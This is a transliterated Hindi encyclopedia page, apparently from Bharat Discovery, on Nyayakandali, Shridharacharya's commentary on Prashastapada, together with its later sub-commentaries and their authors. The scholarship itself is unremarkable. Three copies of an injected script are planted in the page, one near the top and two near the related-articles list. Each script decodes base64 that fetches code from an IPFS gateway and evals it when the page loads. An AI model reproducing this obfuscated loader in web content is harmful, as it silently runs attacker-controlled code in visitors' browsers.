न्यायकन्दली

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

prashastapad ke padarth dharm sangrah par shridharachary dvara rachit vyakhya nyayakandali ke nam se prakhyat hai. nyayakandali par kee upatikaean likhi geean, jinamean jainachary rajashekhar dvara rachit nyayakandali panjika aur padmanabh mishr dvara rachit nyayakandali sar pramukh haian.

parichay

nyayakandali ke pushpika bhag mean shridhar ne apane desh-kal ke sambandh mean kuchh vivaran diya hai. tadanusar unake janmasthan ke sambandh mean yah mana jata hai ki vah bangal prant mean adhunik hugali zile ke radh kshetr ke bhoorishreshth namak gaanv mean utpann hue the. unaka samay 991 ee. mana jata hai. shridhar ke pita ka nam baladev tatha mata ka nam abboka tha. unake sanrakshak tatkalin shasak ka nam narachandr pandudas tha. shridhar ne unake anurodh par hi 991 ee. mean nyayakandali ki rachana ki thi. karl ech. patar ne bhi is tathy ka ullekh kiya hai. shrikrishna mishr ne apane prabodhachandroday natak mean rathapuri aur bhoorishreshthik ka ullekh kiya, jo ki mahamahopadhyay phanibhooshan tarkavagish prabhriti vidvanoan ke anusar shridhar ke nivasasthan se hi sambaddh hai.[1]

shridhar virachit granth

gopinath kaviraj ke matanusar shridhar ne char granth likhe the. unhoanne svayan in kritiyoan ke sanket nyayakandali mean diye haian.[2]

  1. advayasiddhi; (vedantadarshan par)
  2. tattvaprabodh; (mimaansa par)
  3. tattvasanvahini; (nyay par)
  4. nyayakandali; (padarth dharm sangrah par)

nyayakandali tika ka doosara nam sangrah tika bhi hai, kintu vi. varadachari ke anusar sangrah tika vyomavati ka apar nam hai, n ki nyayakandali ka. kaviraj ka yah bhi kathan hai ki nyayakandali kashmir mean prakhyat thi, mithila mean vidvajjan usaka upayog karate the. kintu bangal mean usaka upayog nahian ke barabar hua.[3]

nyayakandali ka prachar dakshin mean paryapt roop se hua. at: katipay logoan ne shridhar ke nam ke sath bhatt jo d kar inako dakshin deshavasi batane ka prayas kiya, kintu achary shridhar dvara svayan hi apane janm-sthan ka ullekh kar dene ke karan yah kalpana svayan hi asangat siddh ho jati hai.

shridhar nam ke any bhi kee achary ho chuke haian, yatha bhagavat tatha vishnu puran ke tikakar shridhar svami, kintu vah kandalikar shridhar se bhinn the. patiganitam ke rachayita bhi koee shridhar haian, kintu nyayakandali mean patiganitam ka ullekh n hone ke karan vah bhi kandalikar shridhar nahian the. is sandarbh mean patiganitam ki bhoomika mean shri sudhakar dvivedi ne donoan ke ek hi vyakti hone ke sanbandh mean jo mat vyakt kiya hai, usaki pushti nahian hoti, at: vah hamare vichar mean grahy nahian hai. shridhar ne is granth mean dharmottar, udyotakar, mandan mishr adi acharyoan tatha advayasiddhi, sphotasiddhi, brahmasiddhi adi granthoan ka ullekh kiya hai tatha mahoday shabd ke vishleshan ke prasang mean bauddhoan aur jainoan ka, sankhyaniroopan ke prasang mean vijnanavadi bauddhoan ka, sanyog ke niroopan ke avasar par satkaryavad ka aur vakyarthaprakashakatv ke prasang mean sphotavad ka khandan kiya hai.

nyayakandali ki tikaean-pratikaean

shri vindhyeshvari prasad dvivedi ne[4] mean shridhar aur udayan ke paurvaparriy par vichar karate hue yah likha ki udayanachary buddhiniroopan paryant kiranavali tika ka nirman kar svargavasi ho gaye. tab shridhar ne nyayakandali ke roop mean sampoorn bhashy par tika ki. is prakar udayan, shridhar ke poorvavarti siddh hote haian, kintu is sandarbh mean any vidvanh ekamat nahian haian.

shrinivas shastri ka yah kathan hai ki in donoan ke anushilan se yah siddh hota hai ki kiranavali se poorv kandali ki rachana huee.

nyayakandali ki anek tikaean aur upatikaean rachi geean, jinamean jain achary rajashekhar ki nyayakandalipanjika aur padmanabh mishr ka nyayakandalisar pramukh hai.

padmanabh mishr virachit nyayakandalisar

kandalisar ki rachana padmanabh mishr ne ki. unake pita ka nam shribalabhadr mishr tatha mata ka nam vijayashri tha. aisa pratit hota hai ki padmanabh ne apane guru shridharachary se sakshat roop mean nyayakandali ka adhyayan karane ke anantar kandali ke saratattv ka varnan karane ke lie kandalisar namak tika likhi.[5]

rajashekhar soori virachit nyayakandali panjika

nyayakandali par panjika nam ki ek tika jainachary rajashekhar soori ne 1348 ee. mean likhi thi. gayakava d sirij se prakashit 'vaisheshikasootramh' ke ashtam parishisht mean panjika ke prarambhik tatha antim aansh uddhrit kiye gaye haian. rajashekhar soori hi sambhavat: maladhari soori ke nam se bhi vikhyat the. inhoanne ratnavartikapanjika, syadvadakarika jaise any granthoan ki bhi rachana ki.

narachandr soori virachit nyayakandali tippanika

is tippanika ke rachayita narachandr soori haian. isaki pandulipi sarasvati bhavan pustakalay mean granthaank 34148 par upalabdh hai. nyayakandali tippanika ke ant mean inhoanne yah kaha ki kandali ki vyakhya unhoanne atmasmriti ke lie ki hai. vah atmasmriti ko hi moksh manate the. tatha
prithvidhar: sakalatarkavitarkasimadhimanh jagau yadih kandalikarahasyamh.
vyaktikritan tadakhilan smritibijabodhaprarohanay narachandramunishvaren॥
inaka samay 1150 ke asapas mana jata hai.

tika tippani aur sandarbh

  1. nyayaparichay pri. 72.
  2. k) vistarastvadvayasiddhau drashtavy:, nya. k. pri. 11, 197
    (kh) mimaansasiddhantarahasyan tattvaprabodhe kathitamasmabhi:, nya. k. pri. 347
    (g) prapanchitashchayamarthoasmabhistattvaprabodhe tattvasanvadikayaancheti, nya. k. pri. 187
    (gh) tasy vishayapaharanantariyakan syaditi kritan granthavistaren sangrahatikayamh, nya. k., pri. 277
  3. Encyclopaidia of Indian Philosophies: Polter, P.485
  4. satik prashastapadabhashyavijnapan pri. 19
  5. upadishta guruvarairasprishta vardhamanadyai:. kandalya: sararthastanyante padmanabhen॥ nyayakandalisar:, pri. 4

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah